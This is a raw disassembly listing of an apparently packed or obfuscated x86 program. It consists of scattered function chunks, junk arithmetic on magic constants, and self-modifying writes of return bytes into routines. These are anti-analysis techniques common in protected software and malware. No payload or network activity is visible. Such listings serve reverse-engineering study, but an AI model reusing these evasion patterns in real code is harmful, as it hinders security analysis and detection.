loc_4430D9:				; CODE XREF: sub_444183+Bj
		jmp	loc_44C6B3
; END OF FUNCTION CHUNK	FOR sub_444183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_4430DE:				; CODE XREF: sub_43A6E1:loc_446DB1j
		jl	loc_43ACB5
		jg	loc_44B109
		cmp	ebx, 7C80B826h
		jmp	loc_43DEF1
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
		sub	edi, 920E9DC4h
		jmp	loc_448C71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_443100:				; CODE XREF: sub_44057E+C048j
		jno	loc_445746

loc_443106:				; CODE XREF: sub_447CBE-F7A2j
					; y22d6.y.:00447022j ...
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DC7

loc_44310A:				; CODE XREF: sub_441DC7-3EEFj
		jmp	nullsub_53
; END OF FUNCTION CHUNK	FOR sub_441DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44310F:				; CODE XREF: sub_44057E-5517j
		push	9B1CC7E8h
		pop	eax
		jmp	loc_43B6CC
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_44311A:				; CODE XREF: y22d6.y.:loc_44E02Aj
		mov	eax, 851AF986h
		call	sub_444581
		mov	ds:off_41E210, eax
		call	sub_43F0F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_44312F:				; CODE XREF: sub_444F37+144Fj
		jmp	loc_444D5A
; END OF FUNCTION CHUNK	FOR sub_444F37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_443134:				; CODE XREF: sub_44AA69-D74Aj
		jo	loc_4389C7
; END OF FUNCTION CHUNK	FOR sub_44AA69

; =============== S U B	R O U T	I N E =======================================



sub_44313A	proc near		; CODE XREF: sub_44313A+9FE7p

arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 004381D9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00442121 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004437A8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00448952 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044977B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B20C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF5C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D112 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044DE01 SIZE 0000001E BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	edi
		lea	eax, loc_4437A8
		mov	byte ptr [eax],	0C3h
		jmp	loc_44BF5C
sub_44313A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44314D	proc near		; CODE XREF: sub_419FEC+78p
					; sub_44314D+5j
					; DATA XREF: ...
		call	sub_446425
		jmp	ds:off_41E09C
sub_44314D	endp

; ---------------------------------------------------------------------------

locret_443158:				; CODE XREF: y22d6.y.:0044A182j
		retn
; ---------------------------------------------------------------------------

loc_443159:				; CODE XREF: y22d6.y.:0044BE75j
		jmp	loc_4498FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_44315E:				; CODE XREF: sub_4480DE-CB1Aj
		jmp	loc_44C9B3
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_443163:				; CODE XREF: sub_44B1D2+68Fj
		cdq
		jmp	loc_43AE2F
; END OF FUNCTION CHUNK	FOR sub_44B1D2

; =============== S U B	R O U T	I N E =======================================



sub_443169	proc near		; CODE XREF: sub_441030:loc_441BA5j

; FUNCTION CHUNK AT 00440573 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445F5F SIZE 0000000E BYTES

		push	ebx
		push	7313F574h
		pop	ebx
		or	ebx, 5E510384h
		add	ebx, 80EDE88Ch
		mov	[ebx], eax
		pop	ebx
		jmp	loc_440573
sub_443169	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_443184:				; CODE XREF: sub_444D95:loc_43F943j
		mov	eax, [ebp-4]
		mov	al, [eax]
		and	al, 0F6h
		cmp	al, 0C2h
		jz	loc_43A39A
		jmp	loc_44DDC3
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_443198:				; CODE XREF: sub_449641:loc_448460j
		xchg	esi, [esp+0Ch+var_C]
		push	2463448Ah
		pop	eax
		rol	eax, 1Ah
		or	eax, 2477B556h
		rol	eax, 1
		test	eax, 400h
		jmp	loc_43D787
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------

loc_4431B7:				; CODE XREF: y22d6.y.:0044026Aj
		add	eax, 0D120056h
; START	OF FUNCTION CHUNK FOR sub_44256D

loc_4431BD:				; CODE XREF: sub_44256D:loc_445DA2j
		shl	eax, cl
		not	eax
		and	ebx, eax
		call	sub_4435D6

loc_4431C8:				; CODE XREF: sub_440280:loc_437573j
		jmp	loc_43F1B7
; END OF FUNCTION CHUNK	FOR sub_44256D

; =============== S U B	R O U T	I N E =======================================



sub_4431CD	proc near		; DATA XREF: sub_4456EB+8o

; FUNCTION CHUNK AT 00437618 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437FF9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043DC2F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043EDB3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004421FB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442502 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443964 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004449B0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00445A28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446528 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AB35 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044D89E SIZE 0000000D BYTES

		pop	edx
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_439D2D
		jmp	loc_446528
sub_4431CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_4431E2:				; CODE XREF: sub_43A148:loc_43BE1Fj
		cmp	eax, 29F174E3h
		jmp	loc_4383F8
; END OF FUNCTION CHUNK	FOR sub_43A148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ACEA

loc_4431ED:				; CODE XREF: sub_44ACEA+Aj
		xor	eax, edx

loc_4431EF:				; CODE XREF: sub_43B09B:loc_43B336j
		pop	edx
		add	eax, 0F1CE5CE6h
		ror	eax, 2
		push	esi
		jmp	loc_441310
; END OF FUNCTION CHUNK	FOR sub_44ACEA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_308. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443200:				; CODE XREF: y22d6.y.:0043E9F4j
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404D1

loc_443205:				; CODE XREF: sub_4404D1:loc_4404DAj
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		jmp	loc_448029
; END OF FUNCTION CHUNK	FOR sub_4404D1
; ---------------------------------------------------------------------------

loc_443214:				; CODE XREF: y22d6.y.:0044C004j
		ja	loc_438729
		push	33F08175h
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_44321F:				; CODE XREF: sub_43C55B:loc_44BFEFj
		add	eax, 2522DE31h
		call	sub_43CA1A
		jmp	loc_44B5D4
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4414E8

loc_44322F:				; CODE XREF: sub_4414E8:loc_44794Fj
		pop	esi
		and	esi, 7B631E5h
		xor	esi, ds:4000E9h
		or	esi, 3F624B51h
		xor	esi, 0DE9037CDh
		push	offset sub_44CCBC
		jmp	nullsub_363
; END OF FUNCTION CHUNK	FOR sub_4414E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443253:				; CODE XREF: y22d6.y.:00439CD3j
		jmp	sub_44A413

; =============== S U B	R O U T	I N E =======================================



sub_443258	proc near		; CODE XREF: y22d6.y.:00445509j
					; sub_43AD19+132A3p
		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_17
sub_443258	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset sub_4400D5
		jmp	loc_43BC76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44156E

loc_44326E:				; CODE XREF: sub_44156E-9F9j
		pop	ecx
		adc	eax, edx
		cmp	eax, 23F76356h
		jmp	loc_44D213
; END OF FUNCTION CHUNK	FOR sub_44156E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44327D:				; CODE XREF: y22d6.y.:0044AD6Dj
		jmp	loc_442CC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_443282:				; CODE XREF: sub_448EB6-8714j
		jnz	loc_444970

loc_443288:				; CODE XREF: sub_448EB6+D4Cj
		add	eax, 4157A6B0h
		push	offset sub_44E63C
		jmp	loc_438D54
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_443298:				; CODE XREF: sub_4432B8:loc_44CE93j
		xor	ecx, 0FA9ACDFDh
		ror	ebp, 6
		jmp	loc_44C0A3
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4410E0

loc_4432A6:				; CODE XREF: sub_4410E0+3988j
		jnb	loc_440FC1

loc_4432AC:				; CODE XREF: y22d6.y.:loc_43F9F0j
		jmp	loc_43AB90
; END OF FUNCTION CHUNK	FOR sub_4410E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_4432B1:				; CODE XREF: sub_437B43:loc_444360j
		or	eax, ebp
		jmp	loc_44A42D
; END OF FUNCTION CHUNK	FOR sub_437B43

; =============== S U B	R O U T	I N E =======================================



sub_4432B8	proc near		; CODE XREF: y22d6.y.:00437049j
					; sub_4388E5:loc_43EFF6p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437072 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437549 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004377BF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043782E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437E96 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437EA1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00437F19 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043806D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043808C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004380C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043818C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00438353 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004383CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043863C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00438A32 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00438D10 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00438F74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043969C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004398D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004399DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439B96 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A335 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A41E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043A43C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A523 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043A9E3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043B224 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B392 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043B448 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B547 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B650 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043B932 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BE5E SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043C26F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043C77F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043CC6F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043CD1B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043CE35 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043D020 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D0DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D1F0 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043D298 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043D390 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043D9F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DE25 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043E863 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043E872 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043EB43 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F08C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F299 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F2A3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043F4FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F7AB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043FA42 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043FFF9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440168 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004404CA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004406EE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00440850 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00440C91 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044117A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004411CC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044150E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044162F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004417F1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004419C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004419FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442176 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004422EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442326 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004423DC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004425B0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004426BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004426DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004429E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442A4C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442EBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443298 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443948 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00443D6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443E28 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443FA4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004442DB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044447D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444734 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044479E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00444C65 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444DA4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444FCD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445016 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004450CE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00445295 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004452B7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044552D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004455C2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004456B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004458AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445E64 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044626C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004463C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004464D7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00446E27 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446FB5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446FF7 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0044702D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447100 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004474A8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004475AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004479D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447EBA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004484C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004484EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448878 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448991 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00448C59 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004494B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449501 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449D28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449F56 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449FAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A43C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A789 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AB59 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044ABE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B0D0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B2FC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B559 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B66A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B925 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044B96B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C0A3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C77E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C788 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CABB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044CE93 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044D40C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D489 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044D867 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044DA7A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044DCEA SIZE 00000006 BYTES

		xchg	edx, [esp+4+var_4]
		pop	edx
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+4+var_4]
		mov	esp, ebp
		jmp	loc_4435B7
; ---------------------------------------------------------------------------

loc_4432C9:				; CODE XREF: sub_44C758:loc_442702j
		jz	loc_437708
		jmp	loc_4422EB
; ---------------------------------------------------------------------------

locret_4432D4:				; CODE XREF: sub_44B27F:loc_43F4A4j
		retn
; ---------------------------------------------------------------------------

loc_4432D5:				; CODE XREF: sub_444427+4E4Cj
		jmp	sub_44B27F
; ---------------------------------------------------------------------------

loc_4432DA:				; CODE XREF: sub_448C36+13j
		jmp	loc_44150E
; ---------------------------------------------------------------------------

loc_4432DF:				; CODE XREF: y22d6.y.:00444E95j
		jmp	loc_443CF1
; ---------------------------------------------------------------------------

loc_4432E4:				; CODE XREF: sub_43C17E:loc_439270j
		mov	eax, edi
		pop	edi
		sub	eax, 0E431B06h
		add	eax, 0EF01E950h
		xchg	eax, [esp+0]
		jmp	loc_449D28
; ---------------------------------------------------------------------------

loc_4432FB:				; CODE XREF: y22d6.y.:loc_43D57Cj
		xor	ebx, 1574A34Ch
		sub	ebx, 0CE63F584h
		and	ebx, 69761268h
		xor	ebx, 3867677Bh
		add	ebx, 0A700ACE5h
		call	sub_4422BA

loc_44331E:				; CODE XREF: sub_43E037+C02Fj
		jmp	loc_44A43C
; ---------------------------------------------------------------------------
		mov	eax, 3CC6743Ch
		push	eax
		push	0E763A9B2h
		pop	eax
		and	eax, 7C102480h
		add	eax, 9C445BBAh
		jmp	loc_44702D
; ---------------------------------------------------------------------------

loc_443340:				; CODE XREF: sub_44057E:loc_4385A2j
		push	edx
		call	sub_440AF5
		mov	eax, 475BA966h
		call	sub_43F7FF
		mov	ds:off_41E018, eax
		lea	eax, sub_44D83F
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B559
; ---------------------------------------------------------------------------

loc_443364:				; CODE XREF: sub_44D83Fj
		push	offset sub_4496E3
		jmp	loc_437072
; ---------------------------------------------------------------------------

loc_44336E:				; CODE XREF: sub_44A5E5-7CBj
		push	1861CBCBh
		pop	ecx
		xor	ecx, 2B6D42A1h
		add	ecx, 0FA01086Eh
		or	ecx, 2BE5D785h
		add	ecx, 0D055D3EBh
		xchg	ecx, [esp+0Ch+var_C]
		jmp	sub_43EF0B
; ---------------------------------------------------------------------------

loc_443394:				; CODE XREF: y22d6.y.:00437E6Ej
		jmp	loc_4456B4
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_44339A:				; CODE XREF: y22d6.y.:loc_442B94j
					; sub_4496E3+13Bj
		jmp	nullsub_99
; ---------------------------------------------------------------------------

loc_44339F:				; CODE XREF: y22d6.y.:00437E69p
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+10h+var_10]
		mov	ebp, esp

loc_4433A7:				; CODE XREF: sub_43FBC3:loc_43B470j
		push	ecx
		jmp	loc_43CE35
; ---------------------------------------------------------------------------

loc_4433AD:				; CODE XREF: sub_446222-68F7j
		push	ebx
		push	0C887F55Dh
		pop	ebx
		rol	ebx, 1
		jmp	loc_44552D
; ---------------------------------------------------------------------------

loc_4433BB:				; CODE XREF: y22d6.y.:0044D9E4j
		pop	edx
		shl	edi, 13h
		jmp	loc_441298
; ---------------------------------------------------------------------------
		jnp	loc_43DE25

loc_4433CA:				; CODE XREF: sub_44057E:loc_43AD7Ej
		jmp	loc_43D207
; ---------------------------------------------------------------------------

loc_4433CF:				; CODE XREF: sub_43F8FE+C582p
					; y22d6.y.:0044CA36j
		xchg	eax, [esp+14h+var_14]
		pop	eax
		push	eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 8
		setnz	al
		call	sub_443954
		pop	ecx
		jmp	loc_43B932
; ---------------------------------------------------------------------------

loc_4433E9:				; CODE XREF: y22d6.y.:0043AACDj
		jle	loc_43D0DE
		rol	edx, 0Eh
		and	ebp, ecx
		jmp	loc_43E872
; ---------------------------------------------------------------------------

loc_4433F9:				; CODE XREF: y22d6.y.:0043D6FDj
		cmp	ecx, 0D80B0D38h
		jmp	loc_444C65
; ---------------------------------------------------------------------------

loc_443404:				; CODE XREF: y22d6.y.:0043E04Fj
					; y22d6.y.:0044DA02j
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		jmp	loc_43F299
; ---------------------------------------------------------------------------

loc_443415:				; CODE XREF: y22d6.y.:0043970Aj
		jge	loc_43EB43
		sub	esi, 55839EBCh
		jmp	loc_4371C3
; ---------------------------------------------------------------------------

loc_443426:				; CODE XREF: sub_43E7F3:loc_43E7FEj
		mov	eax, ecx
		xchg	eax, [esp+10h+var_10]
		mov	ecx, eax
		xchg	ecx, [esp+10h+var_10]
		lea	eax, dword_440E88
		push	esi
		jmp	loc_447100
; ---------------------------------------------------------------------------
		not	esi
		jmp	sub_4416F3
; ---------------------------------------------------------------------------

loc_443443:				; DATA XREF: sub_44731A-9892o
		mov	edx, [ebp-14h]
		add	eax, [edx+20h]
		xor	edx, edx
		push	edx

loc_44344C:				; CODE XREF: y22d6.y.:00437AB5j
		jmp	loc_4475AE
; ---------------------------------------------------------------------------

loc_443451:				; CODE XREF: sub_441A2B:loc_444597j
					; y22d6.y.:0044E08Cj
		rol	eax, 1Eh
		xor	eax, 0BF1AF29Eh
		push	ecx
		pushf
		jmp	loc_4494B9
; ---------------------------------------------------------------------------

loc_443461:				; CODE XREF: y22d6.y.:0044548Aj
		pop	esi
		xor	eax, 7161A96Bh
		ror	eax, 1Fh
		mov	edx, [esp+0]
		jmp	loc_43782E
; ---------------------------------------------------------------------------

loc_443473:				; CODE XREF: sub_448EB6:loc_448854j
		add	edi, 9FFF93BCh
		mov	[edi], eax
		pop	edi
		lea	eax, sub_43BC16
		jmp	loc_443D6B
; ---------------------------------------------------------------------------

loc_443487:				; CODE XREF: sub_448EB6:loc_4389D8j
					; y22d6.y.:00443CB4j
		add	eax, 0FA13219Eh
		push	offset sub_44CA21
		jmp	loc_44D40C
; ---------------------------------------------------------------------------

loc_443497:				; CODE XREF: sub_4499F4-5745j
		jz	loc_44C0B1
		jmp	loc_44CE93
; ---------------------------------------------------------------------------

loc_4434A2:				; CODE XREF: sub_439051:loc_4415EBj
		and	esi, 0CB80910Bh
		sub	esi, 187C0C61h
		test	esi, 100000h
		jmp	loc_44D489
; ---------------------------------------------------------------------------

loc_4434B9:				; CODE XREF: sub_44485F:loc_442321j
		jp	nullsub_59

loc_4434BF:				; CODE XREF: sub_440280:loc_4479A0j
		popf
		ror	ebx, 16h
		sbb	ecx, 0BD37A8FFh
		jmp	loc_44CABB
; ---------------------------------------------------------------------------

loc_4434CE:				; CODE XREF: sub_437FD8:loc_44DDFCj
		mov	[esi], ecx
		jmp	loc_438A32
; ---------------------------------------------------------------------------

loc_4434D5:				; CODE XREF: sub_4476DE:loc_440B8Cj
		and	ecx, 618C77CBh

loc_4434DB:				; CODE XREF: sub_44193A:loc_44A8DBj
		add	ecx, 0FF35BE9Ah
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_446425
		mov	byte ptr [eax],	0C3h
		jmp	loc_4426DE
; ---------------------------------------------------------------------------

loc_4434F2:				; CODE XREF: sub_446425+6j
		mov	eax, [esp+14h+var_14]
		jmp	loc_43CC6F
; ---------------------------------------------------------------------------

loc_4434FA:				; CODE XREF: sub_44B635:loc_43DFFFj
					; y22d6.y.:loc_44A6A7j
		jl	loc_448C66

loc_443500:				; CODE XREF: sub_444183+8542j
		jmp	loc_4411CC
; ---------------------------------------------------------------------------

loc_443505:				; CODE XREF: sub_44AA5D:loc_449DA2j
		jmp	loc_438D10
; ---------------------------------------------------------------------------
		jno	loc_445E64
		jmp	loc_43FA42
; ---------------------------------------------------------------------------

loc_443515:				; CODE XREF: sub_44485F+7D50j
		jnz	loc_44735E
		mov	eax, ebx
		ror	ebx, 1Eh
		xor	ebp, 8D49DC77h
		jmp	loc_43863C
; ---------------------------------------------------------------------------

loc_44352B:				; CODE XREF: sub_4483BF-76F8j
		or	ecx, 6031E76Fh
		rol	ecx, 1Dh
		xor	ecx, 0E60AC3C1h
		call	sub_44807C

loc_44353F:				; CODE XREF: sub_440CE6+AF08j
		jmp	loc_43A41E
; ---------------------------------------------------------------------------
		and	edx, 0D39EAA98h
		pushf
		cmp	ebx, 4EB3D4ECh
		jmp	loc_43D1F0
; ---------------------------------------------------------------------------

loc_443556:				; CODE XREF: sub_44807C-1091Bj
		jz	loc_44024C
		jmp	loc_43A43C
; ---------------------------------------------------------------------------

loc_443561:				; CODE XREF: sub_4384B4+260Ej
		xor	eax, ebp

loc_443563:				; CODE XREF: sub_4384B4:loc_43AAB9j
		and	esi, 0E37CF189h
		or	esi, 4B6C0BC7h
		test	esi, 10000h
		jmp	loc_4474A8
; ---------------------------------------------------------------------------

loc_44357A:				; CODE XREF: sub_44BCC2:loc_438D4Fj
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		push	670A4177h
		jmp	loc_4442DB
; ---------------------------------------------------------------------------

loc_44358A:				; CODE XREF: sub_448CFE+7j
		mov	eax, ds:dword_444BA0
		or	eax, eax
